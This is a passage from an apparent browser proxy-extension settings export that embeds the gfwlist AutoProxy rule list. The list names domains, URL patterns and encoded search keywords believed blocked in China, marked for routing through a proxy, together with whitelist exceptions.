--webshots.com\\nwebsitepulse.com/help/testtools.china-test.html\\n|http://www.websnapr.com\\nwebworkerdaily.com\\n.weekmag.info\\n||wefightcensorship.org\\n.wefong.com\\nweiboleak.com\\nweijingsheng.org\\n.weiming.info\\n||weiming.info\\nweiquanwang.org\\n|http://weisuo.ws\\n.wemigrate.org\\nwengewang.com\\n||wengewang.org\\n.wenhui.ch\\n|http://trans.wenweipo.com/gb/\\nwenxuecity.com\\n.wenyunchao.com\\n||wenyunchao.com\\nwestca.com\\n||westca.com\\n||westernwolves.com\\n.westkit.net\\n||westpoint.edu\\nwww.wet123.com\\n||wepn.info\\n.westernshugdensociety.org\\nwetpussygames.com\\n.wetplace.com\\nwexiaobo.org\\n||wexiaobo.org\\nwezhiyong.org\\n||wezone.net\\n.wforum.com\\n||wforum.com/\\n.whatblocked.com\\n||whatblocked.com\\n.whippedass.com\\n|http://who.is/\\nwhylover.com\\n||whyx.org\\n|http://evchk.wikia.com\\ncn.uncyclopedia.wikia.com\\nzh.uncyclopedia.wikia.com\\n||wikileaks.ch\\n||wikileaks.de\\n||wikileaks.eu\\n||wikileaks.lu\\n.wikileaks.org\\n||wikileaks.org\\n||wikileaks.pl\\n||collateralmurder.com\\n||collateralmurder.org\\nwikilivres.info/wiki/%E9%9B%B6%E5%85%AB%E5%AE%AA%E7%AB%A0\\n||wikimapia.org\\n||wikiwiki.jp\\n||sports.williamhill.com\\n||willw.net\\n||windowsphoneme.com\\nwinwhispers.info\\n||wiredbytes.com\\n||wiredpen.com\\n||wireshark.org\\n.wisdompubs.org\\n.wisevid.com\\n||wisevid.com\\n.witnessleeteaching.com\\n.witopia.net\\n|http://wn.com\\n.wnacg.com\\n.wo.tc\\n||woeser.com\\n|http://woesermiddle-way.net/\\nwolfax.com\\n||wolfax.com\\nwoopie.jp\\n||woopie.jp\\nwoopie.tv\\n||woopie.tv\\n||workatruna.com\\n||workersthebig.net\\n.worldcat.org\\nworldjournal.com\\n\\n!-------------Wordpress Blog-----\\n!-||bhorowitz.com\\n!-||blogmaverick.com\\n!-||blogs.cnn.com\\n!-||blog.drakengren.com\\n!-||fourwallsandaroof.com\\n!-||herbsutter.com\\n!-||hiveminds.co.uk\\n!-||hoparoundtheglobe.com\\n!-||hunbulin.com\\n!-||icanhascheezburger.com\\n!-||support.intensedebate.com\\n!-||menro.me\\n!-||michaeldehaan.net\\n!-||mynokiablog.com\\n!-||nandalala.com\\n!-||p2theme.com\\n!-||pixelbread.com\\n!-||blog.pixelpipe.com\\n!-||blog.polldaddy.com\\n!-||rawfoodsos.com\\n!-||rayous.com\\n!-||semicolonapps.com\\n!-||sharpinsandiego.com\\n!-||smedio.com\\n!-||steveblank.com\\n!-||thebrigade.com\\n!-||blog.thinglabs.com\\n!-||china.blogs.time.com\\n!-||blog.wakoopa.com\\n!-||wattsupwiththat.com\\n!-||webmink.com\\n.wordpress.com\\n|http://*.wordpress.com\\n||wp.com\\n!-||wormsculptor.com\\nwoxinghuiguo.com\\nwow-life.net\\n||wowlegacy.ml\\n.wpoforum.com\\n||wpoforum.com\\n.wqlhw.com\\n.wqyd.org\\n||wqyd.org\\nwrchina.org\\nwretch.cc\\n!-cn.wsj.com/gb/20130215/tec113853.asp\\n.wsj.com\\n||wsj.com\\n.wsjhk.com\\n.wsj.net\\n.wtfpeople.com\\n.wuala.com\\nwuerkaixi.com\\nwufi.org.tw\\n||wufoo.com\\n||wuguoguang.com\\nwujie.net\\nwujieliulan.com\\n||wujieliulan.com\\nwukangrui.net\\nwwitv.com\\nwzyboy.im/post/160\\n\\n!--------------------------XX--------------------------\\n.x-berry.com\\n||x-berry.com\\n||x-art.com\\n||x-wall.org\\nx1949x.com\\nx365x.com\\nxanga.com\\n||xbabe.com\\n.xbookcn.com\\n||xbookcn.com\\n||xcafe.in\\nx.xcity.jp\\n.xcritic.com\\n|http://cdn*.xda-developers.com\\ndestiny.xfiles.to/ubbthreads\\n.xfm.pp.ru\\nxgmyd.com\\nxh4n.cn/blog\\nxhamster.com\\none.xthost.info\\n.xianqiao.net\\n.xiaochuncnjp.com\\ns.xiaod.in\\n.xiaohexie.com\\n||xiaolan.me\\n||xiaoma.org\\n||xiaohexie.com\\nxiezhua.com\\nforum.xinbao.de/forum\\n.xing.com\\n||xing.com\\n.xinmiao.com.hk\\n||xinmiao.com.hk\\nxinsheng.net\\nxinshijue.com\\nxinhuanet.org\\n|http://xinyubbs.net\\n.xiongpian.com\\nxizang-zhiye.org\\nxjp.cc\\n||xjp.cc\\n||xlfmwz.info\\n||xml-training-guide.com\\nxmovies.com\\n||xnxx.com\\nxpdo.net\\n||xpud.org\\n||k2.xrea.com\\n||xtube.com\\nblog.xuite.net\\nvlog.xuite.net\\nxuzhiyong.net\\n||xuchao.org\\nxuchao.net\\n||xuchao.net\\n.xvideos.com\\n.xxbbx.com\\n||xxxx.com.au\\nxys.org\\nxysblogs.org\\nxyy69.com\\nxyy69.info\\n\\n!--------------------------YY--------------------------\\npage.bid.yahoo.com\\nblogs.yahoo.co.jp\\nbuy.yahoo.com.tw/gdsale\\nhk.yahoo.com\\nhk.knowledge.yahoo.com\\nhk.myblog.yahoo.com\\n||hk.news.yahoo.com\\nhk.rd.yahoo.com\\nhk.search.yahoo.com/search\\nhk.video.news.yahoo.com/video\\nmeme.yahoo.com\\n!--tw.yahoo.com\\n||tw.knowledge.yahoo.com\\ntw.myblog.yahoo.com\\n||tw.news.yahoo.com\\npulse.yahoo.com\\nupcoming.yahoo.com\\nvideo.yahoo.com\\n||yahoo.com.hk\\n||yakbutterblues.com\\nyam.com\\n||yam.com\\nyangjianli.com\\nyasni.co.uk\\n||yasukuni.or.jp\\n.ydy.com\\n||yeelou.com\\nyeeyi.com\\nyegle.net\\n||yegle.net\\n||yes123.com.tw\\n||yesasia.com\\n||yesasia.com.hk\\n||yecl.net\\n!--yfrog.com\\n||yhcw.net\\n.yi.org\\n.yibada.com\\n.yibaochina.com\\n.yidio.com\\n||yidio.com\\nyilubbs.com\\nxa.yimg.com\\n.yipub.com\\n||yipub.com\\nyinlei.org/mt\\n.yogichen.org\\n||yogichen.org\\nyong.hu\\n.yorkbbs.ca\\n||youxu.info\\n.yyii.org\\n||yyii.org\\n.yzzk.com\\n||yzzk.com\\n.youjizz.com\\n||youjizz.com\\nyoumaker.com\\nyoupai.org\\n||youpai.org\\n.your-freedom.net\\n||yourepeat.com\\n.yousendit.com\\n||yousendit.com\\nyouthbao.com\\n.youthnetradio.org/tmit/forum\\nblog.youthwant.com.tw\\nshare.youthwant.com.tw\\ntopic.youthwant.com.tw\\n.youporn.com\\n||youporn.com\\n.youporngay.com\\n||youtu.be\\n.youtube.com\\n||youtube.com\\n||youtube-nocookie.com\\n.youtubecn.com\\nyouversion.com\\n||youversion.com\\nblog.youxu.info/2010/03/14/west-chamber\\nytht.net\\nyuanming.net\\n||yunchao.net\\n||yvesgeleyn.com\\nyx51.net\\n||yymaya.com\\n\\n!--------------------------ZZ--------------------------\\nzacebook.com\\n||zannel.com\\n||tap11.com\\n.zaobao.com\\n.zaobao.com.sg\\n||zaobao.com.sg\\n.zaozon.com\\n||zarias.com\\nwww.zaurus.org.uk\\n.zdnet.com.tw/news/software/0,2000085678,20111187,00\\n.zengjinyan.org\\n!--||zeutch.com\\nwww.zfreet.com/post/usejump-browns.html\\nzgzcjj.net\\n.zhanbin.net\\n||zhanbin.net\\n.zhangboli.net\\nzhenghui.org\\n||zhangtianliang.com\\nzhengwunet.org\\nzhenlibu.info\\n||zhenlibu.info\\n|http://zhenxiang.biz\\n.zhinengluyou.com\\n|http://zhongguorenquan.org\\n||zhongguotese.net\\n||zhongmeng.org\\n||zhreader.com\\nzhuichaguoji.org\\n||zhuichaguoji.org\\n.ziddu.com/download\\n||zillionk.com\\nzinio.com\\n||zinio.com\\n||ziplib.com\\n.zkaip.com\\n||zkaip.com\\n||zlib.net/\\nzmw.cn\\nzomobo.net\\n.zonaeuropa.com\\n||zonaeuropa.com\\n||zootool.com\\n.zoozle.net\\nwriter.zoho.com\\n.zshare.net/download\\n.zsrhao.com\\n.zuo.la\\n||zuo.la\\n||zuobiao.me\\n.zuola.com\\n||zuola.com\\n||zvereff.com\\nzyzc9.com\\n\\n!--------------------------Other----------------------\\n!--falun\\nfreenet\\nq=freedom\\nq%3Dfreedom\\nremembering_tiananmen_20_years\\nsearch*safeweb\\nq=triangle\\nq%3DTriangle\\nultrareach\\nultrasurf\\nzhengjian\\n\\n!--Ba Ke\\n%E7%BD%A2%E8%AF%BE\\n!--Bao Tong\\n!--.google.*%E9%B2%8D%E5%BD%A4\\n!--.google.*%E9%AE%91%E5%BD%A4\\n!--Bo Xun\\nsearch*%E5%8D%9A%E8%AE%AF\\n!--Da Ji Yuan\\nsearch*%E5%A4%A7%E7%BA%AA%E5%85%83\\n!--Diao Yu Dao\\nsearch*%E9%92%93%E9%B1%BC%E5%B2%9B\\n!--dong tai wang\\n%E5%8A%A8%E6%80%81%E7%BD%91\\n!--Duo Wei (hans/hant)\\nsearch*%E5%A4%9A%E7%B6%AD\\nsearch*%E5%A4%9A%E7%BB%B4\\nsearch*freegate\\n!--(Li) Fa Hui\\nsearch*%E6%B3%95%E4%BC%9A\\n!--fa lun da fa\\n%E6%B3%95%E8%BD%AE%E5%A4%A7%E6%B3%95\\n!--Fa Lun Gong: Traditional Chinese\\n%E6%B3%95%E8%BC%AA%E5%8A%9F\\n!--Fa Lun Gong: Simplified Chinese\\n%E6%B3%95%E8%BD%AE%E5%8A%9F\\n!--Hu Hai Feng\\n%E8%83%A1%E6%B5%B7%E5%B3%B0\\n!--Hu Hai Qing\\n%E8%83%A1%E6%B5%B7%E6%B8%85\\n!--Hua Hua Gong Zi\\nsearch*%E8%8A%B1%E8%8A%B1%E5%85%AC%E5%AD%90\\n!--Ji Yuan\\nsearch*%BC%CD%D4%AA\\n!--Jia Mi Dai Li (GB/U8)\\nsearch*%BC%D3%C3%DC%B4%FA%C0%ED\\nsearch*%E5%8A%A0%E5%AF%86%E4%BB%A3%E7%90%86\\n!--Jiang Liu Mang\\nsearch*%E6%B1%9F%E6%B5%81%E6%B0%93\\n!--Kan Zhong Guo\\nsearch*%E7%9C%8B%E4%B8%AD%E5%9B%BD\\n!--Liu Si\\nsearch*%E5%85%AD%E5%9B%9B\\n!--Liu Xiao Bo\\n%E5%88%98%E6%99%93%E6%B3%A2\\n!--Mei Guo Zhi Yin\\n%E7%BE%8E%E5%9B%BD%E4%B9%8B%E9%9F%B3\\n!--Min Jin Dang\\n%E6%B0%91%E8%BF%9B%E5%85%9A\\n!--(Nong) Min Yun (Dong Hui)\\n%E6%B0%91%E8%BF%90\\n!--Se Qing\\nsearch*%E8%89%B2%E6%83%85\\n!--Wang Dan\\n%E7%8E%8B%E4%B8%B9\\n!--Wang Te\\nsearch*%E7%BD%91%E7%89%B9\\n!--Wang Xi Zhe\\nsearch*%E7%8E%8B%E5%B8%8C%E5%93%B2\\n!--Wei Jing Sheng\\nsearch*%E9%AD%8F%E4%BA%AC%E7%94%9F\\n!--Wen Zi Yu\\nsearch*%E6%96%87%E5%AD%97%E7%8B%B1\\n!--Wo De Fen Dou\\nsearch*%E6%88%91%E7%9A%84%E5%A5%8B%E6%96%97\\n!--Wu Jie\\nsearch*%E6%97%A0%E7%95%8C\\n!--Xie E\\nsearch*%E9%82%AA%E6%81%B6\\n!--Xin Tang Ren\\nsearch*%E6%96%B0%E5%94%90%E4%BA%BA\\n!--Xin Yu Si\\nsearch*%E6%96%B0%E8%AF%AD%E4%B8%9D\\n!--Xue Yun\\nsearch*%E5%AD%A6%E8%BF%90\\n!--Zhong Gong\\nsearch*%E4%B8%AD%E5%8A%9F\\n!--Zhong Guo Lun Tan\\nsearch*%E4%B8%AD%E5%9B%BD%E8%AE%BA%E5%9D%9B\\n!--Zhong Xuan Bu\\nsearch*%E4%B8%AD%E5%AE%A3%E9%83%A8\\n\\n!-------------Wikipedia Related-------------\\n!---Emergency need only(IP/Port block usage)---\\n!------0------\\n!--||mediawiki.org\\n!--@@||m.mediawiki.org\\n!------1------\\n!--||wikidata.org\\n!--@@||m.wikidata.org\\n!------2------\\n!--||wikimedia.org\\n!--@@||lists.wikimedia.org\\n!--@@||m.wikimedia.org\\n!--@@||phabricator.wikimedia.org\\n!--@@||upload.wikimedia.org\\n!--@@||wikitech.wikimedia.org\\n!------3------\\n!--||wikibooks.org\\n!--@@||m.wikibooks.org\\n!------4------\\n!--||wikiversity.org\\n!--@@||m.wikiversity.org\\n!------5------\\n!--||wikisource.org\\n!--@@||m.wikisource.org\\nzh.wikisource.org\\n!------6------\\n!--||wikiquote.org\\n!--@@||m.wikiquote.org\\n!------7------\\n!--||wikinews.org\\n!--@@||m.wikinews.org\\nzh.wikinews.org\\n!------8------\\n!--||wikivoyage.org\\n!--@@||m.wikivoyage.org\\nzh.wikivoyage.org\\n!------9------\\n!--||wiktionary.org\\n!--@@||m.wiktionary.org\\nzh.wiktionary.org\\n!-----10------\\n!--||wikimediafoundation.org\\n!--@@||m.wikimediafoundation.org\\n!----Main-----\\n!--||wikipedia.org\\nzh.wikipedia.org\\n!--||zh.wikipedia.org\\nzh.m.wikipedia.org\\n|https://zh.m.wikipedia.org\\n!--@@||m.wikipedia.org\\n|https://zh.wikipedia.org\\n\\n!---------------Other Wikis---------------\\n!--Tu Po Wang Luo Shen Cha--Wikibooks\\nzh.wikibooks.org*%E7%AA%81%E7%A0%B4%E7%BD%91%E7%BB%9C%E5%AE%A1%E6%9F%A5\\n\\n!------------TW Gov-------------------------\\n.gov.tw\\n@@||tax.nat.gov.tw\\n@@||moe.gov.tw\\n@@||cwb.gov.tw\\n@@||npm.gov.tw\\n@@||yatsen.gov.tw\\n@@||mvdis.gov.tw\\n@@||stdtime.gov.tw\\n@@||nmmba.gov.tw\\n@@||ntdmh.gov.tw\\n@@||grb.gov.tw\\n@@||tpde.aide.gov.tw\\n@@||matsu-news.gov.tw\\n@@||dapu-house.gov.tw\\n@@||vghtc.gov.tw\\n@@||aide.gov.tw\\n@@||hchcc.gov.tw\\n@@||ntuh.gov.tw\\n@@||nhri.gov.tw\\n@@||nstm.gov.tw\\n@@||ntsec.gov.tw\\n@@||ner.gov.tw\\n@@||nmtl.gov.tw\\n@@||ntl.gov.tw\\n@@||pet.gov.tw\\n@@||khcc.gov.tw\\n@@||nmmba.gov.tw\\n@@||khms.gov.tw\\n@@||wanfang.gov.tw\\n@@||nict.gov.tw\\n@@||arte.gov.tw\\n@@||nmh.gov.tw\\n@@||nmp.gov.tw\\n@@||tphcc.gov.tw\\n@@||iner.gov.tw\\n@@||tncsec.gov.tw\\n@@||nspo.gov.tw\\n@@||aide.gov.tw\\n@@||ncree.gov.tw\\n@@||vghks.gov.tw\\n@@||tchb.gov.tw\\n@@||pabp.gov.tw\\n@@||itrc.gov.tw\\n@@||df.gov.tw\\n@@||womenbusiness.nyc.gov.tw\\n@@||gsn-cert.nat.gov.tw\\n@@||kk.gov.tw\\n@@||thbstc.gov.tw\\n@@||comnews.gio.gov.tw\\n@@||comnews.gio.gov.tw\\n@@||klccab.gov.tw\\n@@||yvtc.gov.tw\\n@@||aftygh.gov.tw\\n@@||klra.gov.tw\\n@@||lungtanhr.gov.tw\\n@@||taoyuan.gov.tw\\n@@||hcc.gov.tw\\n@@||nvri.gov.tw\\n@@||nmvttc.gov.tw\\n@@||kmh.gov.tw\\n@@||patehr.gov.tw\\n@@||nerch.gov.tw\\n@@||kmseh.gov.tw\\n@@||nertt.gov.tw\\n@@||cycab.gov.tw\\n@@||chukuang.gov.tw\\n@@||gysd.nyc.gov.tw\\n@@||cp-house.gov.tw\\n@@||vghtpe.gov.tw\\n@@||etraining.gov.tw\\n@@||stag.gov.tw\\n@@||bdhr.gov.tw\\n@@||tcsac.gov.tw\\n@@||imagesblog.gio.gov.tw\\n@@||arte.gov.tw\\n@@||dmtip.gov.tw\\n@@||chccc.gov.tw\\n@@||hengchuen.gov.tw\\n@@||hsinchu-cc.gov.tw\\n@@||921.gov.tw\\n@@||ncdr.nat.gov.tw\\n@@||4pppc.gov.tw\\n@@||klsio.gov.tw\\n@@||nici.nat.gov.tw\\n@@||cromotc.nat.gov.tw\\n@@||taitung-house.gov.tw\\n\\n!-----IP-----\\n174.142.105.153\\n69.65.19.160\\n\\n!-----Whitelist-----\\n@@||aliyun.com\\n@@||baidu.com\\n!--@@||bing.com\\n@@||bt.byr.cn\\n@@||chinaso.com\\n@@||dl.google.com\\n@@||fonts.googleapis.com\\n@@||csi.gstatic.com\\n@@||fonts.gstatic.com\\n@@||haosou.com\\n@@||forum1.hkgolden.com \\n@@||forum6.hkgolden.com \\n@@||forum9.hkgolden.com \\n@@||articlehtml.hkgolden.com\\n@@||jike.com\\n@@|http://translate.google.cn\\n@@|http://www.google.cn/maps\\n@@||http2.golang.org\\n@@||bt.neu6.edu.cn\\n@@||qq.com\\n@@||sina.cn\\n@@||sina.com.cn\\n@@||sogou.com\\n@@||so.com\\n@@||soso.com\\n@@||yahoo.cn\\n@@||youdao.com\\n@@||zhongsou.com\\n@@|https://autoproxy.org\\n@@|http://ime.baidu.jp\\n!----------------EOF----------------\\n\",\"sourceUrl\":\"https://raw.githubusercontent.com/gfwlist/gfwlist/master/gfwlist.txt\"},\"+__ruleListOf_自动切换 PAC 1\":{\"color\":\"#47b\",\"defaultProfileName\":\"direct\",\"format\":\"AutoProxy\",\"lastUpdate\":\"2015-12-30T10:16:50.566Z\",\"matchProfileName\":\"PAC 1 for 25\",\"name\":\"__ruleListOf_自动切换 PAC 1\",\"profileType\":\"RuleListProfile\",\"revision\":\"14f9231315c\",\"ruleList\":\"[AutoProxy 0.2.9]\\n! Checksum: 7Kef/ZbUsMfIQnK3rDwrSg\\n! Expires: 6h\\n! Last Modified: Sun, 20 Dec 2015 11:16:12 +0800\\n! HomePage: https://github.com/gfwlist/gfwlist\\n\\n!---------------------Fraud/Scam-------------------\\nchina-mmm.jp.net\\n.china-mmm.net\\n||china-mmm.net\\n.lsxszzg.com\\n\\n!---------------Non-Latin characters---------------\\n\\n!------------Restricted & URL Redirects------------\\n!--ehentai\\n|http://85.17.73.31/\\n\\n||alien-ufos.com\\n||altrec.com\\n||asianspiss.com\\n||azubu.tv\\n||beeg.com\\n||boysmaster.com\\n||darpa.mil\\n||desipro.de\\n|http://img.dlsite.jp/\\n||dmm.co.jp\\n!--||dmm.com\\n||fastpic.ru\\n||flipboard.com\\n||fxnetworks.com\\n||getuploader.com\\nhulu.com\\nhuluim.com\\n||hybrid-analysis.com\\n|http://www.ilovelongtoes.com/\\n||juliepost.com\\n|http://www.m-sport.co.uk\\n||macgamestore.com\\n||metarthunter.com\\n||mfxmedia.com\\n||muzu.tv\\n|http://www.nbc.com/live\\n||netflix.com\\n||nuuvem.com\\n||osaka69.com\\n||pandora.com\\n.pandora.tv\\n|http://www.parkansky.com\\n|http://*.pimg.tw/\\n||pure18.com\\n||qq.co.za\\n|http://radiko.jp\\n||rd.com\\n||rdio.com\\n|http://cdn*.search.xxx/\\n||slacker.com\\n||spotify.com\\n||springboardplatform.com\\n||switch1.jp\\n||target.com\\n||turntable.fm\\n||twerkingbutt.com\\n||vevo.com\\n|http://ecsm.vs.com/\\n||wheretowatch.com\\n||wingamestore.com\\n||zattoo.com\\n||zozotown.com\\n\\n!--------------------Num--------------------\\n.0rz.tw\\n|http://0rz.tw\\n||0to255.com\\n1-apple.com.tw\\n||1-apple.com.tw\\n.1000giri.net\\n||1000giri.net\\n.10conditionsoflove.com\\n||10musume.com\\n123rf.com\\n.12bet.com\\n||12bet.com\\n.12vpn.com\\n||12vpn.com\\n141hongkong.com/forum\\n.17t17p.com\\n.173ng.com\\n||173ng.com\\n1984bbs.com\\n||1984bbs.com\\n!--||1984blog.com\\n.1984bbs.org\\n||1984bbs.org\\n.1998cdp.org\\n.1bao.org\\n|http://1bao.org\\n||1pondo.tv\\n.1eew.com\\n.2-hand.info\\n.2000fun.com/bbs\\n.2008xianzhang.info\\n||2008xianzhang.info\\n.213.so\\n21andy.com/blog\\n.228.net.tw\\n24smile.org\\n.2shared.com\\n.315lz.com\\n||32red.com\\n||36rain.com\\n.3a5a.com\\n.3boys2girls.com\\n.3tui.net\\n||4bluestones.biz\\n||4chan.org\\n||4shared.com\\n5i01.com\\ntaiwannation.50webs.com\\n||51.ca\\n.5isotoi5.org\\n.5maodang.com\\n64memo\\n.64museum.org\\n64tianwang.com\\n64wiki.com\\n666kb.com\\n6park.com\\n||6park.com\\n||7capture.com\\n|http://85st.com\\n.881903.com/page/zh-tw/\\n.888.com\\n||881903.com\\n89-64.org\\n||89-64.org\\n.8z1.net\\n||8z1.net\\n.9001700.com\\n|http://908taiwan.org/\\n|http://91porn.com\\n.92ccav.com\\n||9bis.com\\n||9bis.net\\n.99btgc01.com\\n||99btgc01.com\\n\\n!--------------------AA--------------------\\n.tibet.a.se\\n|http://tibet.a.se\\n||a-normal-day.com\\na5.com.ru\\n|http://aamacau.com\\n|http://cdn*.abc.com/\\n.ablwang.com\\n.aboluowang.com\\n||aboluowang.com\\n.aboutgfw.com\\n||acgkj.com\\nactimes.com.au\\n||aculo.us\\n||addictedtocoffee.de\\nadultfriendfinder.com\\nadultkeep.net/peepshow/members/main.htm\\n||advanscene.com\\n||advertfan.com\\n||aenhancers.com\\n||af.mil\\naiph.net\\n||aiph.net\\n|http://download.aircrack-ng.org\\n.aisex.com\\n||ait.org.tw\\naiweiwei.com\\n.aiweiweiblog.com\\n||aiweiweiblog.com\\n||www.ajsands.com\\n\\n!---------Akamaihd---------\\n|https://fbcdn*.akamaihd.net/\\n\\n||akiba-online.com\\n||al-qimmah.net\\n||alabout.com\\n||alasbarricadas.org\\nalexlur.org\\naliengu.com\\n||alkasir.com\\nallgirlsallowed.org\\nalliance.org.hk\\n.allinfa.com\\n|http://allinfa.com\\n||allmovie.com\\n||alternate-tools.com\\nalvinalexander.com\\nalwaysdata.com\\n||alwaysdata.com\\n||alwaysdata.net\\n||am730.com.hk\\namazon.com/Prisoner-State-Secret-Journal-Premier\\nameblo.jp\\n||ameblo.jp\\n||americangreencard.com\\n||amiblockedornot.com\\n.amnesty.org\\n||amnesty.org\\n.amnestyusa.org\\n||amnestyusa.org\\n.amnyemachen.org\\n.amoiist.com\\nanalyze-v.com\\n||anchorfree.com\\n!--Google\\n||ancsconf.org\\n||andfaraway.net\\n||android.com\\n||android-x86.org\\n||angularjs.org\\nanimecrazy.net\\naniscartujo.com\\n||aniscartujo.com\\n||anobii.com\\n.anonymizer.com\\nanontext.com\\n.answering-islam.org\\n|http://www.antd.org\\n||anthonycalzadilla.com\\n.antiwave.net\\n|http://antiwave.net\\n||aobo.com.au\\n||aolchannels.aol.com\\nvideo.aol.ca/video-detail\\nvideo.aol.co.uk/video-detail\\nvideo.aol.com\\n||video.aol.com\\n||search.aol.com\\nwww.aolnews.com\\n||aomiwang.com\\nvideo.ap.org\\n.apetube.com\\n||apiary.io\\n.apigee.com\\n||apigee.com\\n||appannie.com\\nappledaily.com\\narchive.is\\n||archive.org\\n.arctosia.com\\n|http://arctosia.com\\n||areca-backup.org\\n||arlingtoncemetery.mil\\n||army.mil\\nartsy.net\\n.asahichinese.com\\n||asahichinese.com\\nasdfg.jp/dabr\\n|http://japanfirst.asianfreeforum.com/\\n.asiaharvest.org\\n||asiaharvest.org\\nasianews.it\\n||asianwomensfilm.de\\n||askstudent.com\\n.askynz.net\\n||askynz.net\\n||assembla.com\\n||astonmartinnews.com\\n||astrill.com\\n||atc.org.au\\n.atchinese.com\\n|http://atchinese.com\\natgfw.org\\n||atj.org.tw\\n.atlaspost.com\\n||atlaspost.com\\n||atdmt.com\\n.atnext.com\\n||atnext.com\\navaaz.org\\n||avaaz.org\\n!--||avast.com\\n.avdb.in\\n||avdb.in\\n.avdb.tv\\n||avdb.tv\\n||avidemux.org\\n||avoision.com\\n||axureformac.com\\n\\n!--------------------BB--------------------\\nforum.baby-kingdom.com\\nbabynet.com.hk\\nbackchina.com\\n||backchina.com\\n.backpackers.com.tw/forum\\nbacktotiananmen.com\\nbadoo.com\\n|http://*2.bahamut.com.tw\\n||baidu.jp\\n||baixing.me\\nhen.bao.li\\n||bannedbook.org\\nbannedbook.org\\n||bannedbook.org\\n.barenakedislam.com\\n||barnabu.co.uk\\nbayvoice.net\\n||bayvoice.net\\ndajusha.baywords.com\\n.bbc.co.uk*chinese\\n.bbc.co.uk/tv\\n.bbc.co*zhongwen\\nnews.bbc.co.uk/onthisday*newsid_2496000/2496277\\nnewsforums.bbc.co.uk\\n.bbcchinese.com\\n||bbcchinese.com\\n|http://bbc.in\\n.bbg.gov\\n||bbsfeed.com\\nbbsland.com\\n.bbsone.com\\n.bcc.com.tw/board\\n.bcchinese.net\\n.bebo.com\\n||bebo.com\\n.behindkink.com\\n||beijing1989.com\\nbeijingspring.com\\n||beijingspring.com\\n.berlintwitterwall.com\\n||berlintwitterwall.com\\n.bestforchina.org\\n||bestforchina.org\\n||bestvpn.com\\n.bestvpnservice.com\\n.bestvpnusa.com\\n||bet365.com\\n.betfair.com\\n.bettween.com\\n||bettween.com\\n||betvictor.com\\n.bewww.net\\n.beyondfirewall.com\\n||bfnn.org\\n||bfsh.hk/\\nbiantailajiao.com\\nbiantailajiao.in\\n.biblesforamerica.org\\n|http://biblesforamerica.org\\n.bic2011.org\\nbigfools.com\\n.bignews.org\\n||bignews.org\\n.bigsound.org/portnoy\\n|http://billypan.com/wiki\\n||billywr.com\\nbipic.net\\n.bit.ly\\n|http://bit.ly\\n!--||bitbucket.org\\n||bitcointalk.org\\n.bitshare.com\\n||bitshare.com\\n!-|http://bitsnoop.com\\nbjzc.org\\n||bjzc.org/\\ntor.blingblingsquad.net\\n.blinkx.com\\n||blinkx.com\\nblinw.com\\n.blip.tv\\n||blip.tv/\\n.blockcn.com\\n||blockcn.com\\n||blog.de\\n||blogblog.com\\n.blogcatalog.com\\n||blogcatalog.com\\n||blogcity.me\\n.blogger.com\\n||blogger.com\\nblogimg.jp\\n||blog.kangye.org\\n.bloglines.com\\n||bloglines.com\\n||bloglovin.com\\nrconversation.blogs.com\\n/^https?:\\\\/\\\\/[^\\\\/]+blogspot\\\\.(.*)/\\nblogtd.net\\n.blogtd.org\\n|http://blogtd.org\\n||bloodshed.net\\n.bloomberg.cn\\n||bloomberg.cn\\n.bloomberg.com\\n||bloomberg.com\\nbloomberg.de\\n||bloomberg.de\\n||bloomfortune.com\\n||bnrmetal.com\\nboardreader.com/thread\\n||boardreader.com\\n.bod.asia\\n|http://bod.asia\\nbonbonme.com\\n||boobstagram.com\\n||book.com.tw\\n||books.com.tw\\n||botanwang.com\\n.bot.nu\\n.bowenpress.com\\n||bowenpress.com\\n||app.box.com\\ndl.box.net\\n||dl.box.net\\nboxun.com\\n||boxun.com\\n.boxun.tv\\n||boxun.tv\\nboxunblog.com\\n||boxunblog.com\\n.boxunclub.com\\n.boyfriendtv.com\\n||br.st\\n||brandonhutchinson.com\\n||braumeister.org\\n.bravotube.net\\n||bravotube.net\\n.brazzers.com\\n.break.com\\n||break.com\\n.breakingtweets.com\\n||breakingtweets.com\\n||breakwall.net\\nbriian.com/6511/freegate\\n.briefdream.com/%E7%B4%A0%E6%A3%BA\\nbrizzly.com\\n||brizzly.com\\nbroadbook.com\\n.broadpressinc.com\\nbrucewang.net\\n||bt95.com\\n|http://btdigg.org\\n.btspread.com\\n.budaedu.org\\n||budaedu.org\\n.bullog.org\\n||bullog.org\\n.bullogger.com\\n||bullogger.com\\n|http://www.businessinsider.com.au/*\\n|http://static*.businessinsider.com/\\n.businessweek.com\\n!--businesstimes\\n!-.businesstimes.com.cn\\n!-|http://businesstimes.com.cn\\n||bugclub.org\\n||buugaa.com\\n.buzzhand.com\\n.buzzhand.net\\nbuzzurl.jp\\nbwsj.hk\\n||bx.tl\\nholz.byethost8.com\\n\\n!--------------------CC--------------------\\n.c-spanvideo.org\\n||c-spanvideo.org\\n||c-est-simple.com\\n.cacnw.com\\n.cactusvpn.com\\n||cactusvpn.com\\n.cafepress.com\\n.cahr.org.tw\\n.calameo.com/books\\ncn.calameo.com\\n|http://cn.calameo.com\\n.its.caltech.edu/~falun/\\n.cam4.com\\n.cam4.jp\\n.cam4.sg\\n||cams.com\\n.cams.org.sg\\ncanadameet.com\\n|http://bbs.cantonese.asia/\\n!--http://www.cantonese.asia/action-bbs.html\\n.canyu.org\\n.cao.im\\n.caobian.info\\n||caobian.info\\n.cap.org.hk\\n||cap.org.hk\\ncardinalkungfoundation.org\\n.casatibet.org.mx\\ncaochangqing.com\\n||caochangqing.com\\ncari.com.my\\n||catch22.net\\n||catfightpayperview.xxx\\n.catholic.org.hk\\n||catholic.org.hk\\ncatholic.org.tw\\n||catholic.org.tw\\n||cattt.com\\n||cbc.ca\\n.cbsnews.com/video\\n.cbtc.org.hk\\n!-.ccc.de\\n!-||ccc.de\\n.ccdtr.org\\n||ccdtr.org\\n.ccim.org\\ncclife.org\\n.ccthere.com\\n.cctongbao.com/article/2078732\\nccue.ca\\nccue.com\\n.cgdepot.org\\n|http://cgdepot.org\\n||cdbook.org\\n||cdd.me\\n.cdef.org\\n||cdig.info\\ncdjp.org\\n||cdjp.org/\\n||cdninstagram.com\\n.cdnews.com.tw\\ncdp1989.org\\ncdp1998.org\\n||cdp1998.org\\ncdp2006.org\\n||cdp2006.org\\n.cdpa.url.tw\\ncdpeu.org\\ncdpusa.org\\ncdpweb.org\\n||cdpweb.org\\ncdpwu.org\\n||cdpwu.org\\n||cdw.com\\n.cecc.gov\\n||cecc.gov\\n||cellulo.info\\n||cenci.tk\\n||cenews.eu\\n||centralnation.com\\n.centurys.net\\n|http://centurys.net\\n